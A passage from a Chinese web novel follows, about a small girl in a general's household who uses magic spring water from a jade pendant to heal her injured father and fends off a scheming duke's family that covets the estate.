“奴婢,方才在厨房吃了几块。”嬷嬷拿出了绣面,准备再给乖宝绣些荷包,还有手帕。
她抬头看了一眼乖宝,乖宝眼睛笑成月牙,正认真吃糕点。
嬷嬷这才放心地继续干活。
乖宝咀嚼着有些干巴的糕点,用力咽了咽,从桌上抓了个杯子过来,正准备拿茶壶倒水,想到了什么停下了手里的动作。
外面的水一点也不好喝,还是玉佩里的泉水好喝。
乖宝侧头看嬷嬷低头认真缝手帕时,小手从衣襟里摸出玉佩,放杯子上,脑子里想着玉佩里的水潭,杯子里瞬间注满了水。
她又鬼鬼祟祟看了一眼身边的嬷嬷,发现嬷嬷根本没抬头,又偷偷把玉佩藏进衣襟里,放下糕点,喝了一大口的水。
嗯……
还是泉水好喝。
乖宝盯着杯子,又从自己腰间拿出了锦囊,从里面找了几颗酸果仁丢进去,再加了一颗方糖,双手捧着杯子晃了晃。
“嬷嬷喝。”她把杯子递到嬷嬷跟前。
嬷嬷盯了一眼乖宝捧过来的杯子,抬眸对上乖宝一双期待的目光不愿扫兴,伸手接过了杯子,喝了一口。
“嗯,不错,酸酸甜甜,很清爽。”她抿了抿唇,回味着嘴里的滋味。
“嘿嘿,那乖宝一会儿也要拿给祖母跟大伯喝。”乖宝端着杯子,自己也尝一口。
她就知道好喝。
不过要是放点果汁就更好喝了。
咦……
是呀!
乖宝凑到嬷嬷耳边嘀咕了几句。
嬷嬷一脸诧异,“小姐要这些东西做什么?”
小姐说的这些东西几乎都是厨房偶尔才用到的。
“以后,嬷嬷就知道了。”乖宝古灵精怪地望着她咧嘴笑了笑。
嬷嬷放下手里绣着的东西,伸手摸了摸乖宝的小脸,“好,奴婢一会儿就让人买。”
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她挺了挺腰,眉头紧皱。
干活干多了,这腰跟脖子,总是痛平日她绣些东西,垂头时间长了这脖子跟腰痛更是又硬又刺疼。
今日竟然一点感觉都没有。
难道是因为她还没绣多久?
此时,外头进来一名丫鬟,给乖宝行了一礼。
“小姐,夫人,让奴婢带您去正堂。”
乖宝一听圆溜溜地眼睛一转,捏了捏手心,难道乖宝**的事情被祖母知道了?
嬷嬷开口询问道:“你可知是什么事?”
“国公夫人来了,还气势汹汹的。”丫鬟压着声音道。
“当初大将军还在世时,她哪敢这样,现在觉得咱们将军府势微,跑来找事了。”
顾国公府跟将军府就隔了半条街,两府的渊源要从,老公国说起了,老国公子嗣多。
大将军顾徇是老国公不受待见的庶子,生母死后。
顾徇从军,立下战功,独自离开国公府自立门户。
国公府跟将军府一直以来关系都很差,直到老国公死后,国公爷舔着脸示好,关系才稍缓解。
乖宝眨了眨眼睛,那个国公夫人就是那个小胖子的祖母吗?
臭胖子,打不过就叫人。
他祖母那么凶万一欺负,乖宝的祖母了怎么办?
不行,乖宝要过去看看。
“姐姐,我们走吧。”乖宝神色定定,从凳子上滑了下来,脸色有些发沉,小手拢成拳头,就跟要去上战场了一样。
丫鬟笑了笑:“小姐,你放心,咱们夫人也不是好惹的。”
正堂内。
国公夫人端坐在梨花木椅上,身侧站着个小胖孩,正是刚才被揍的顾庄弛。
“你们将军府的人呢?该不会不敢出来了吧。”
国公夫人将手中的茶杯往边上一放,冷嘲道。
“姜凤芝,不会是下不来床了吧?”
“夫人。”外面传来丫鬟清脆的声音。
国公夫人拢了拢身上的衣袍,侧头就见顾夫人被人从外面推了进来。
“你要还不来,我真以为这偌大的将军府没人了。”
“你来将军府就为了说闲话?”顾夫人余光瞥了她一眼,声音又沉又有威严。
第十二章 小胖孩打不过叫祖母上门,决爹骂人超凶
国公夫人让她这话说得,直瞪眼,想开口说点什么,却又像是自讨没趣。
显得她多没教养似的。
姜凤芝,这个死女人,当初怎么不死在边塞。
天天在京城膈应她!
就在这时,外面的丫鬟把乖宝带了进来。
乖宝看到那个小胖子抬头挺胸,满脸嚣张地用鼻孔怼着她,仿佛再说:我祖母来了,臭丫头等死吧!
她冲他竖了跟小指,用口型说了个,“小胖猪。”
顾庄弛见自己没能威慑住她,反而还被她骂了,气得翘起了嘴,皱着脸扯了扯身边祖母的衣袖。
顾夫人顺着他的目光看过去,神色变了变,从椅子上起身,往乖宝那去,“就是你这个小丫头片子,欺负我家弛儿?”
乖宝赶紧撒开丫鬟的手,小跑到祖母身边。
顾夫人拍了拍她的肩以示安抚,将她拉到自己的身后,孙嬷嬷迈步走到国公夫人跟前拦住她的去路。
“怎么你还想动手不成?”
顾夫人手持着佛珠串,神色淡淡地开口。
大抵是习武,即便如今风烛残年,也带着一股不怒自威的气质。
国公夫人望着她,指腹攥紧了手帕,姜凤芝都废成什么样了,还这么端着给谁看。
“你府上的小丫头片子,把我孙子打成这个样子,还有什么好说的。”
“我们乖宝才多大?你家那个又高又胖,怎么不说是他自己摔的。”顾应柏方才听了下人禀报,立刻赶了过来。
他又朝着顾夫人行了一礼,走到乖宝身边,把她拉到自己怀里。
国公夫人动了动唇,正要说话。
“不如问问孩子们怎么说。”顾夫人开口道。
“好,弛儿你说。”国公夫人拂袖,侧头看向顾庄弛。
顾庄弛死死盯着乖宝,咬着牙道:“祖母,是那个野丫头,她上来就对我动手。”
“你胡说!明明就是你撞了乖宝,还骂乖宝野丫头。”
“他说我爹**,还说……”乖宝气得瞪他,小胸脯起起伏伏,泪水不由往下掉,愤愤地开口道。
“祖母,乖宝不想祖母跟爹还有大伯死。”
“他还说要乖宝给他当奴隶,说以后将军府里的东西都是他的。”乖宝抽着气哽咽道。
“乖宝,不哭。”顾应柏忙俯下身,拍着乖宝的背。
乖宝白嫩的小脸,哭的发红,一双水汪汪的大眼睛,不断溢出泪花,牙咬着上唇,小手拢成拳头,气到了极点,垂头又憋出两行泪。
顾应柏看的心都要碎了。
“我倒是想问问国公夫人,我们将军府的东西,什么时候成他的了。”
顾夫人垂眸,脸有些挂不住,瞥了顾庄弛一眼。
这孩子怎么什么话都往外说。
“我本来就没说错,将军府以后,还能指望她一个小丫头?”小胖子压着声道。
“我说怎么顾国公府的人,近日来得这么勤,原来你们打的这个主意。”顾应柏说话太急,猛吸了一口气,喉咙一痒,连咳了好几声。
“难道说错了?将军府如今这么境况,让弛儿过继到将军府,这也是为了你们好。”国公夫人抬眸扫了顾应柏一眼,这么一个病秧子还能撑多久?
她原本跟老爷打算,晚点再跟姜凤芝说这事,既然让这小丫头片子先点破了。
不如趁着现在直接明说。
反正早晚要说。
顾应柏冷声道:“我们府里的事,还轮不到你们国公府操心。”
“我劝你们**那条心,将军府的东西,以后也都是我们乖宝的。”
国公夫人笑了笑:“就让她一个小孩守着将军府诺大家业?”
现在将军府还不急,那是姜凤芝跟病秧子还在,等日后他们没了,那就由不得他们了。
到时候老爷随便找个理由,接这小丫头回国公府养,将军府也会顺理成章变成国公府的了。
一个小丫头而已,到时候还不是任由他们怎么处置。
“也别怪我说话难听,有些事情毕竟是事实,你们能活到她长大吗?顾国公府好歹跟将军府是亲戚,怎么都不可能薄待这小丫头。”
“国公府不要脸的程度,还真叫本将军大开眼界!”顾应决阴沉着脸,被人从外面推了进来。
“顾……顾应决!”国公夫人盯着
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他的眼神,就跟见了鬼似的。
“你不是**吗?”
“决儿不过是受了重伤,一直在府中养伤。”顾夫人听她说这话,脸色不太好开口道。
顾应决还活着这事,顾夫人并未叫人传出去,一来是怕有人上门打扰决儿养伤,二来是希望决儿好一些再说。
“不可能,前日老爷还过来吊唁。”国公夫人睁大了眼睛,上下打量着顾应决。
顾夫人又道:“那也没错,不过老天爷赐福,我家决儿根本没死还有口气,幸好让我家乖宝发现了。”
国公夫人心中大骇,这……这怎么可能!
明明那日老爷差了大夫打听,大夫说顾应决都死透了。
可现在顾应决活生生的出现在她面前,她又不得不信这个事实。
“怎么见我没死很失望?”顾应决眼神深如寒潭,说话字字有力。
“伯母不是这个意思。”国公夫人脸色不大好,挤出笑容。
“你还活着是好事,这样老爷就不用每日担心将军府的处境了。”
顾应决轻笑一声,又收敛起笑意,眼神尖锐:“到底是担心还是想占有,你们心里最清楚。”
“这话说的,大家都是一家人。”国公夫人心头一颤。
“祖母,弛儿的伤。”顾庄弛不乐意了,祖母说了大半天,结果还是没能让那个死丫头受到一点惩罚。
顾应柏扫了他们一眼,不耐道:“既然是他自己先动的手,又出言不逊在先,我们乖宝动手又有何错。”
“那也不能下这么重的手,你们自己看我家弛儿被打成什么样了。”国公夫人说到这事就来气,理直气壮道。
顾庄弛三层下巴青了一大块,左边的眼睛又紫又肿,鼻子上还插着两根棉絮,脸颊还带着被剐蹭的伤,牙还掉了一颗。
它又了拉了拉裤腿,皱褶的膝盖上乌青一片,看上去有点狰狞。
边上的顾应决冷“呵”了一声:“重?他几岁了?多高多壮,这都能受伤。”
“受这么点伤还委屈上了,就这样的货色,还想过继给将军府,这要是本将军的种,早给他丢护城河淹**。”
第十三章 爹不会又要**?
“养了这么一个废物,你们还有脸找上门?”
顾应决说话又狠,戾气又重,羞辱性极强。
四周静了,没人敢多说一句话。
边上的顾庄弛吓得小脸发白,连忙扑国公夫人怀里:“祖母。”
顾国公夫人眉头微蹙,面部肌肉发僵,唇瓣抿成一条直线,心中更是窜出一阵难掩的怒火。
她目怔怔盯了顾应决一眼,想说什么又闭上了嘴,搅紧了手中的面帕。
顾应决那些话,仿佛好几个巴掌,打在她脸上,让她站立难安,没脸待下去,更没脸直接离开。
这还是她头一次,在一个晚辈面前颜面尽失!
“你说话何必这么伤人,再说了这丫头又没受伤,我家……”
“该说的都说了,既然夫人不听,那就别怪本将军不留情面。”
“来人,送国公夫人出去!”顾应决说话的声音从容不迫,字字有力。
边上的下人立刻上前,“国公夫人请吧。”
国公夫人没想到他真会这么无情,当真是一点脸面都不给。
行,她倒要看看,将军府是不是一直都这么屹立不倒!
她咬了咬牙,瞪了顾应决跟姜凤芝一眼,指节掐进掌心,拉着顾庄弛往外走。
“日后没有府上主子们的允许,谁都不许国公府的人进来。”顾应决心里烦闷地蹙眉,冷声下令。
乖宝从顾应柏怀里,探出小脑袋,一双灰扑扑的大眼睛,抬眸偷偷看了一眼顾应决,眼里闪烁着星光。
爹爹刚才是在帮乖宝说话耶!
还把小胖子跟小胖子的祖母赶走啦。
爹爹其实也没有很烦乖宝啦。
只见跟前的顾应决发青,一瞬间捂着胸口的位置,嘴里喷出了一大口鲜血,众人吓得脸色大变。
“决儿!”
顾应决摆手,示意她们别急。
“没事。”
“快叫人去请大夫过来。”顾夫人侧头,嘱咐身边的下人。
乖宝迈着小碎步走到顾应决跟前,紧盯着他不放,眉毛往一边倾斜,嘴巴也往下撇,眼眶逐渐又红了。
顾应决忍着胸口的阵痛,嘴角溢出一抹血色,语气轻飘飘:“哭什么,我还没死……”
“爹爹,不要再说话了。”乖宝拉住了顾应决的手,蹙着小眉头,担忧地盯着顾应决。
顾应决急促地喘息,胸口剧烈,侧头盯了乖宝一眼,垂眸晕了过去。
“爹爹!”乖宝晃了晃顾应决的手臂,见他没动静了,着急忙慌的下意识把手伸进衣袖里,想摸自己怀里的玉佩。
那是此刻,她唯一能救爹爹的办法。
“乖宝别急,你爹只是晕过去了。”边上的顾夫人开口道。
乖宝这才停下动作,抬头又看了顾应决一眼,合着衣袖自己给自己擦了擦眼泪。
爹的命也太脆弱了,出来说了几句话就又吐血了。
害得她以为爹又要**。
吓死乖宝了!
“好吧……”乖宝垂眸想着。
她还想着要不要原谅爹爹呢,可是爹因为她吐血了。
肯定不能生爹的气啦。
可是乖宝不想爹难受,可要怎么帮爹呢。
顾夫人叫人把顾应决送回屋,回头看乖宝还站在那,忧愁的垂着双手,愣愣望着门口的位置,歪着圆鼓鼓的小脑袋,不知道在想着些什么。
“乖宝怎么了?”顾夫人耐心问。
“想帮爹爹,但是乖宝不知道怎么帮。”
乖宝脑袋都要想懵了,扁着小嘴,随口道出了心里想的事情。
顾夫人捏着手里的珠串道:“乖宝要是想实在担心你爹,可以去看看那你爹药好了没。”
“那……那乖宝去厨房看看,爹的药好了没。”乖宝闻言眼睛一亮,迈着步子往外跑。
顾夫人抬眸望着乖宝逐渐消失的身影,心里长叹一口气,真是难为这孩子了。
另一边国公夫人拉着顾庄弛从将军府的大门口出来。
小厮冲她恭敬地笑了笑道:“还请国公夫人通知府里,日后没事别来将军府。”
“我家将军说了,日后你们上门要通报!”
“毕竟将军府是将军府,国公府是国公府,可别把这儿当您自己家。”
“哎!”国公夫人见那小厮趾高气昂的样子,气得牙痒痒。
该死的顾应决,姜凤芝,怎么还没死!
“祖母,那个野丫头还能不能给孙儿当奴隶?”顾庄驰仰头询问道。
“当什么当!就知道惹祸。”国公夫人想到这事就来气,今天要不是这小兔崽子,非要嚷嚷着过来。
她一个国公夫人何至于被一个小辈羞辱成这样。
“祖母。
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”顾庄驰还是第一次被祖母凶,委屈的唤了国公夫人一声。
“行了,回府了。”国公夫人甩了甩衣袖,没好气道。
两人上了马车,就在他们离开时。
将军府门口冒出两个鬼鬼祟祟的人。
“等等。”国公夫人突然叫停,目光存疑地看向将军府门前的两道身影。
两人身着粗布衣,一看就是普通百姓,行头看着甚至连将军府的下人都不如。
国公夫人纳闷,这两贱民来将军府干嘛?
不远处将军府的侧门被两人敲响,里头的下人不紧不慢的打开了大门。
“你们谁啊?讨食讨将军府来了?”小厮呵斥道。
妇人跟男人对视一眼,开口道:“我家孩子进你们将军府了,麻烦您替我们找找。”
“呵,这里是将军府,你以为什么人都能进吗?哪有什么孩子,赶紧滚。”
“不可能,我分明看到那死……我家那丫头进来了。”男人立刻上前道。
他从衣袖里拿出几个铜板,塞进小厮手里,“麻烦您,帮忙找一下。”
“去你的!滚滚滚,就这点钱打发叫花子呢。”
小厮猛然推开他,关上了大门。
“你到底看没看到?”妇人盯着男人,疑惑地问道。
“见着了,死丫头钻狗洞进去的!”男人不耐烦道。
国公夫人闻言拉开了车帘,垂眸看了一眼那对夫妇:“你们是何人,找什么孩子?”
两人对视一眼,见国公夫人这派头,一看就不简单,神情瞬间谨慎起来。
妇人俯下身,殷勤道:“我们就普通百姓,前几日家里的孩子跑出去玩,好几日后不见回家,这才急着寻来,一路问过来听说是进了将军府。”
国公夫人眯了眯眼睛,她就说嘛,顾应决怎么突然有女儿了。
怕不是随便找了个来路不明的野丫头认亲。
方才让顾应决给唬住了。
现在一回想,心里越来越不对劲
方才顾应决面色都发白了,人还坐着轮椅才出来,怎么也不像能活长的样子。
怕不是硬撑着的吧?
国公夫人勾了勾唇,“我可没听将军府里有什么孩子,不过最近倒是认了个小姐……”
不如就借这二人手,探探顾应决的伤,顺便把那丫头解决了。
第十四章 现在爹就由乖宝来管了!
顾应决房门口。
乖宝从厨房跑过来,累得气喘吁吁,额头上的发丝沾了汗水,贴在脑门上,小脸微微有些泛红。
小手轻轻抚顺着胸口,红唇吐了几口气。
“药罐子原来在这儿啊,乖宝还以为在厨房呢。”
她像是在自言自语,又像是在跟一边的小厮说话。
小厮正拆开药包,把里面混合的药倒进罐子里,“是呀,小姐,将军现在离不开药,次次跑厨房多麻烦。”
“就特意房门口,放了个火炉子。”
乖宝小手搭在大圆柱子上,小脚叠交,缓慢喘息,蹙眉仰头看小厮,“爹爹,很难受吗?”
“难受,将军受的伤太重了,浑身就没有一处好的地方,每时每刻都疼着呢。”
“每天不仅要喝药,还要泡澡,晚上将军还疼的睡不着。”
小厮说着说着,压低了声音。
或许是乖宝实在太亲和了,一点小姐架子都没有,小厮跟她聊了起来,不自觉间把她当成了,跟自己一样平等的成人。
“小姐,我跟你说,你别看将军平时多冷峻,一到该疼的时候还是得疼。”
“哎嘶,不跟您说了,我得赶紧熬药了。”小厮俯下身,要抓边上的水瓢。
“小哥哥,乖宝来吧。”乖宝快步过去,奶声奶气道。
“不行,这种小事,怎么能让您来。”小厮道。
“我来我来,我要帮爹爹熬药的。”乖宝嗡里嗡气道。
“要不让小姐来吧,小姐一片孝心。”边上的丫鬟,见她们因为舀水,推来推去,好笑道。
“行吧,那我去上个茅房,一会儿就回来。”小厮放下水瓢,就走了。
乖宝摸了摸衣袖里的玉佩,弯着腰余光扫了一眼边上站着的丫鬟,一双黑白分明的眼睛晃了晃,揉了一下鼻子,上前扯了扯对方的衣袖。
“小姐姐,乖宝想喝水水。”
丫鬟望着她那双带着哀求的眼睛,根本没法抵抗,妥协道:“那您小心点,别伤了自己。”
“好……”
乖宝见丫鬟终于走了,小嘴长呼出一口气,放下水瓢,正要从衣袖里掏出玉佩。
她余光又看到顾应柏从屋子里出来,赶紧又收了回去。
哎~~
大伯怎么又出来啦。
“乖宝,你在干嘛。”顾应柏疑惑的望着她。
乖宝一副很忙的样子,抠了抠后脑勺,又摸了摸额头,又挠了挠腰。
“我……在给爹熬药。”
她拿了边上的水瓢,舀了舀水。
“你再不加水,你爹的药要糊了。”边上的顾应柏,轻“咳”了一声,提醒道。
“嗷嗷嗷!”乖宝赶紧抓了水瓢,吃力地往药罐子里注入半罐子水。
“咳咳咳……”顾应柏捂着嘴咳嗽,肩膀随着他胸口的震颤耸了耸。
乖宝拿着蒲团扇,跟个小老太太似的,扇了扇炉子,肩膀往下一垂,嗡里嗡气地问:“大伯,你回去休息吧。”
“你放心,乖宝会在这儿看着爹爹,让爹好好吃药的。”
顾应柏笑了笑,“好……”
这么点大就开始操心他们了。
小家伙真是太体贴了。
他要是有个这样的女儿就好了。
不过都一样,决儿的孩子,也是他的孩子。
乖宝看顾应决总算走了,摆弄了一下蒲扇,仰头叹气。
太难了,乖宝真是太难了!
她颓靡得垂肩,又赶紧回头望了一眼四周,确认没人,赶紧从衣袖里掏出玉佩,握着悬空在药罐上面。
心里想着泉水,才注一半的药罐瞬间满了。
“大夫,快走!我家将军又吐血。”院子石拱门那,传来一阵急切的声音。
乖宝听到声音,差点松手把玉佩丢罐子里。
她赶紧把手放背后,抬眸见小厮跟祖母她们走了过来。
“祖母。”
顾夫人跟她对视了一眼,点了点头,就跟着大夫进去了。
乖宝拿着蒲扇,扇了会儿,上茅房的小厮回来,接过了她的活,她这才有空去屋子里看爹。
还没进门,她就听到大夫开口道:
“夫人,原本将军身上还有一些不致命的内伤,但一直没有好转,现在吐血情况有些恶化,老夫再开几副药吧。”
“现在的情况是性命保住了,力求不恶化……”
顾夫人已经找了好几个人来看过了,心里早已知晓顾应决的病情,没再多说,叫人送大夫出府。
她出来时,在门口发现乖宝正蹲在柱子边上,双手托着腮,望着自己。
顾夫人冲她挥了挥手,“乖宝,快过来……”
乖宝走到顾夫人身边:“祖母。”
祖母跟大伯都很担心爹爹吧
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大伯身体不好,祖母腿也不好。
爹就更不用说了……
她感觉这个家,好像只有乖宝自己一个人还行。
哎……
那就只能靠乖宝了。
乖宝抬头挺胸,一双圆溜溜的眼睛盯着顾夫人。
“祖母没事的,乖宝会陪着爹爹,祖母去休息吧。”
她拍了拍小胸脯,仿佛照看顾应决就是自己的责任。
顾夫人望着她,心知现在能不能救决儿只能看乖宝了,“好,那这儿就交给乖宝了。”
乖宝认真地点了点头,“嗯嗯。”
等顾夫人她们走后,乖宝这才慢悠悠推开顾应决的房门。
现在爹就由乖宝来管了!
她之前来过爹的屋子,不过一直没有怎么好好观察过。
顾应决屋子布局很冷硬,侧边是一个大长方桌,桌案后面放着一把剑,剑上面裹着一层牛皮,剑柄的位置还挂了一个红色的穗禾,这是唯一跟剑极不匹配的地方。
桌子的另一边是张罗汉桌,桌上放着一盒黑色的棋盘。
另一侧是书架上面的字,乖宝一个都看不懂。
她挠挠头,转身走往床榻边走,而后又放慢了脚步。
床榻里的顾应决,脸上全都是冷汗,一张英俊的脸,惨白无比。
他眉头紧蹙,手也紧紧捏着身上盖着的被褥。
乖宝咬了咬唇瓣,捏了捏小手,不知道该做点什么。
爹看起来好疼……
“爹爹,不疼,不疼。”怪不得外面的小哥哥说,爹爹都疼的睡不着觉了。
顾应决听到耳边的动静,迷迷糊糊的睁开了眼睛,对上乖宝那双真诚的目光。
他眼里带着迷茫,还没等他开口说话,身上那剧烈的疼痛一阵阵席卷而来。
“爹爹!”
“将军,药来了药来了。”小厮着急忙慌,将药端了上来。
顾应决被他扶起来,身上的疼跟刀刮肉般刺疼。
手刚要伸向那药碗,又立马疼得收了回来。
“乖宝来!”乖宝端起碗,捏着勺子吹了吹药汤,赶紧递到顾应决的嘴边。
还没等顾应决张嘴,乖宝直接给他强行倒嘴里。
顾应决憋的脸都红了,咬牙切齿,正要发作。
乖宝见顾应决瞪自己,小脑袋灵机一动,“我知道了,爹喜欢一口气喝完。”
第十五章 差点呛死爹了
乖宝双手捧着碗,深吸了一大口气,小嘴憋气鼓起,而后对着碗里的药汁用力吹气,黑色的汁液被吹着泛起了水波纹,粉嫩的小手,往那药汁上方探了探飘出来的热气。
她踮起脚尖,把药碗碰到顾应决跟前,抵顾应决嘴边,还没等顾应决反应过来,强行猛灌进他嘴里。
这一干动作一气呵成,完全不带一丝犹豫。
“爹忍一忍,很快的,一口气就喝完了……”
“唔……”顾应决倒是想反抗,双手手肘要撑着床榻,一松手他上半身就往下沉,扶着他的小厮根本就没用力。
他根本拒绝不了,直接全吞咽下去,嘴角边还往外漏了一些。
喝完药,衣领被染成了深褐色。
小厮在边上看着,睁大了眼睛,脸都僵了,将军不会发火吧?
将军最烦别人替他做事了。
“咳咳咳!”顾应决猛咳嗽,呛的眼冒泪花,抬眸盯着小团子。
这小崽子是在故意报复他吗?
顾应决也就是在自己最虚弱的那段时间里,像个废人一样,让人喂过药,那是他这辈子最难以启齿的时光,现在好歹还能自己勉强动手。
而乖宝再次让他感受到了,那深受折磨的一刻。
“你想噎死我直说?”他没好气道。
“乖宝,不想让爹爹继续难受,才喂爹喝药。”她一脸不知所措的盯着顾应决,黑黝黝地大眼睛,带着茫然,又沮丧地垂下小脑袋。
爹不喜欢这样吗?
爹好像更不开心了。
“是乖宝做的不对吗?”
“你走吧。”顾应决对上她那双天真单纯,又不染一丝尘埃的干净眼睛,不自觉心头一梗,抿了抿唇,还是开口道。
边上的小厮暗暗松了一口气,幸亏将军没再说出什么让小姐伤心的话。
“不行,我答应过祖母了,要在这里陪着爹爹的。”乖宝一屁股,坐在他床边的脚踏板上。
爹肯定太疼了,心情不好,又在发脾气。
乖宝懂!
现在就乖宝心情好,要是可以她也能分爹一点。
她心里一阵使命感油然而生,那乖宝就勉强忍一忍好了。
他靠在床榻清了清嗓子,正要开口说些什么,却意外发现,前胸后背的伤在绷带挤压下,时不时出现的阵痛,以及胸腔每一天都如火烧般撕裂的剧痛。
竟然全都消失了。
这些伤每次疼得,他连大气都不敢喘。
但是这一次,他竟然一丝疼的感觉都没有了。
以往就算喝了药,身体还是会疼。
难道是他喝的那些药终于起作用了?
“随便你。”顾应决眉头微松,喝了口茶,没再说话。
大抵是这样的时刻太过难得。
他双手撑着身体,在床榻上躺下,又拉过了被子,脸对着床内侧的方向,闭上了眼睛。
乖宝发现身后没动静时,起身走到床榻边上,踮起脚尖,轻声唤道:“爹?”
爹真的睡着了耶。
太好了!
“那乖宝就不打扰爹了。”她轻声道。
而后又在脚踏板那坐下,从衣袖里拿出了玉佩捏在手里玩。
许久没好好睡一觉的顾应决,破天荒的在今天终于睡了一个好觉。
等他醒来时,发现身侧还蹲着个橘黄色的小身影。
乖宝正坐在他床榻的脚踏板上,手里捏着荷包,挑着里面的干果,将干果一颗颗放进水杯里。
她头上顶着两个扎着的头发包,小身板看上去又小,又瘦。
顾应决眸光深了深,这小崽子怎么还没走。
真打算赖这儿了?
“咳!”
“嗯?”乖宝听到身后的动静,曲着的背,立刻挺立,回头看向床榻。
“爹,你醒了。”
“下人呢?”顾应决刚醒,胃里反着一股难闻的药味,嘴里更是苦涩,冷声问。
“乖宝让他们走的。”
“对了,爹爹,这个给你喝。”乖宝将自己用泉水调配好的水水,递到顾应决跟前。
她踏上脚踏板,趴到床榻边上,极力解释道:“爹,这个好喝,真的。”
“爹尝尝吧。”
她仿佛在跟顾应决分享自己,极为珍贵的东西,眼里带着灼热的盼望。
乖宝所有的情绪都外化,那鲜活生动的样子,莫名的吸引人。
顾应决多看了她两眼,又垂眸盯着她手里的杯子,里面不知道放了些什么
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他沉默不语并未回应她。
“小姐。”
小厮走了进来,就看到乖宝给顾应决递得不知名的茶水,吓得心脏都快跳出来了。
他这才刚出去一会儿,小姐怎么又在将军跟前点火了。
将军现在浑身疼着呢,刚睡醒,脾气又大。
哪会喝这个呀。
乖宝一节一节的小手指头,捧着杯子,都递到顾应决脸边了。
小厮心头一紧,连忙要上前抢过,手还没伸,跟前的人,突然接过了杯子。
顾应决仰头,将那杯不知道混了些什么的水喝尽。
酸酸甜甜的口感,瞬间冲淡了,他口腔内反上来的那股难闻的药味。
“将军,您怎么喝了,这水凉。”小厮愣了愣,立刻回神。
谁知顾应决开口道:“又死不了。”
“爹,好喝吗?”
乖宝小手托着腮,眼巴巴望着顾应决,期待道。
“不好喝。”顾应决对上她的目光,突然想知道她听到这三个字,会是什么反应。
乖宝拧了下眉,又快速松开,眼中也没气馁,“好吧,那乖宝再做别的。”
顾应决盯着她,脑子里莫名想到了,小时候府里养的小奶狗,每次他去武堂,狗子都会垂着小脑袋,“嗷嗷”叫几声。
他回到家时,又会乖乖上前,蹭着他求摸。
顾应决心尖不由的有些发紧,他抬手想摸摸乖宝,浓密的头发,手又突然顿住,收了回去。
就算是小奶狗,那也不是他的狗。
“你回去吧,这儿用不着你了。”
乖宝盯着他,不明所以,明明刚才爹还喝了她做的那个水水。
爹喝了水应该也好一点了。
可现在爹怎么又不想理乖宝嘞。
“爹……是乖宝今天做错了吗?”她垂着脑袋,想了想道。
她说话太快,有些磕巴,语气越说越低沉,下巴搭在床榻边,一双大眼珠子望着顾应决,又垂眸:“如果不是乖宝跟那个胖子打架,他也不会找来他的祖母,害得祖母跟大伯都过来了,还害得爹又吐血了。”
“这就后悔了?打架的时候怎么没想这么多。”顾应决想到这事,盯了她一眼道。
第十六章 小崽子什么意思?问了一圈单单无视他
“那乖宝下次……”她眉头向上翘起。
顾应决抽了一口气道:“下次,下次就应该往死里打,打到他不敢告状,懂了?”
“嗷嗷,我明白了,是乖宝打的不够狠。”乖宝捏紧了拳头,昂扬道。
原来是这样呀!
小厮:“……”
救命!
谁来管管将军,这么教下去,小姐都要被带坏了。
——
乖宝最后因为太困了,没再顾应决那边待会下去,顾应决让下人把昏昏欲睡的乖宝送回了顾夫人的院子。
等乖宝睡醒时,才发现天黑了,自己已经回到祖母的院子了。
她又迷迷糊糊睡了,心说:陪爹真是太累了。
第二天乖宝醒来,发现自己起晚了。
她抬头望着敞开的窗户,揉了揉眼睛,外面的太阳已经挂天中间了。
嘿!嬷嬷跟祖母都不在耶。
她穿着里衣偷偷下床,往门口看了一眼,赶紧又爬回床上,从枕头下面抽出自己的玉佩,又滑下床,走到了桌边上,爬上了凳子,掀开茶壶盖子,茶壶里是空的。
乖宝赶紧把玉佩放在茶壶上面,没一下茶壶里注满了水。
总算有机会把壶里的水换成泉水了。
“吱呀”门从外面被推开,嬷嬷走了进来,“小姐醒了?”
乖宝捏了捏玉佩,点了点头。
嬷嬷把手中的提篮放下,“小姐要的东西奴婢都买回来了,你看是不是这些?”
她从小木箱子里,拿出一个大瓷杯,又拿出一个长石锤,还有一叠紫葡萄,一叠剥好的橘子,以及一盆碎冰块。
“小姐,您到底要用这些东西做什么?”
乖宝黑亮眼睛眨了眨,“嬷嬷,你会儿就知道啦。”
嬷嬷替乖宝穿好衣裳,又梳了头,正准备给她洗脸时,面帕还没靠近乖宝。
乖宝就立刻伸出小手,接过了面帕,胡乱在脸上擦了擦。
“嘿嘿,嬷嬷我们快开始吧。”
乖宝迫不及待地爬上凳子,扯了扯衣袖,捏了葡萄,小手抠里面的葡萄籽,之后将葡萄放杯子里,一连放了好几个葡萄,然后她又捏着石锤往里捣了几下。
她捧着大杯子,将葡萄水跟渣渣倒进装有冰块的小杯子里,抓起旁边上的茶壶,里面装泉水。
乖宝捧着小杯子,用勺子搅了搅,“好啦,可以喝喽!”
嬷嬷一脸好奇地盯着她手里的杯子,“这个真的好喝吗?”
“嬷嬷尝尝,乖宝保证比上次好喝。”乖宝道。
嬷嬷捧着杯子尝了一口,清甜的果香在口腔里弥漫开来,加上那冰凉的冰块,更是清凉可口。
“好喝,这是奴才喝过最好喝的水!”嬷嬷眼中一亮,侧头望着乖宝惊喜道。
“小姐,您真是太聪明了,您到底怎么想出来的?”
“嘿嘿。”乖宝不好意思地摸了摸小脑袋。
这个在她原来那个世界,就是很普通的果汁饮料啦。
“小姐,夫人让您去用午膳。”外头进来一名丫鬟,俯下身开口道。
“乖宝这就来了!”
她赶紧拉了拉嬷嬷的手,用一双含着星光的眼睛盯着嬷嬷,“我们多做一点,给祖母还有大伯都尝一尝吧。”
“好。”
正堂的大圆桌上,已经摆了十几样菜,顾夫人跟顾应柏分别坐在大圆桌边上,两人并未动筷。
“乖宝还没来吗?你去看看。”
顾应柏侧头,捂着嘴轻咳了一声,冲身边的下人道。
他话音刚落,门口出现一道身影。
顾应柏热切地看了过去,见下人正推着顾应决进来。
“决儿,你怎么来了?”他有些失落的收回目光,还以为是乖宝呢。
顾应决听他说这话,不由皱眉,这话什么意思,他还就不能来了?
大哥眼里到底还有没有他,一天到晚就惦记着那个小崽子。
“咳……我是说你怎么下床了,大夫不是说让你好好卧床休息吗?”顾应柏似乎察觉到自己这话有些不太好,立刻询问道。
“将军,今天身体不错,外边日头大,奴才想着推将军想出来走走。”顾应决身后推着他的下人开口道。
“是该,多出来转转,屋里头闷,待久了反而对身体不好。”顾应柏捂着嘴轻“咳”了一声,垂眸没在说话,更没有去看顾应决。
他压根没想到昨日决儿才吐血晕倒,这才过了一天人又能下地晃悠了。
不然早让下人去请人了。
顾夫人捏着佛珠,并未说
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什么。
“大伯,祖母!”乖宝稚嫩悦耳的声音响起。
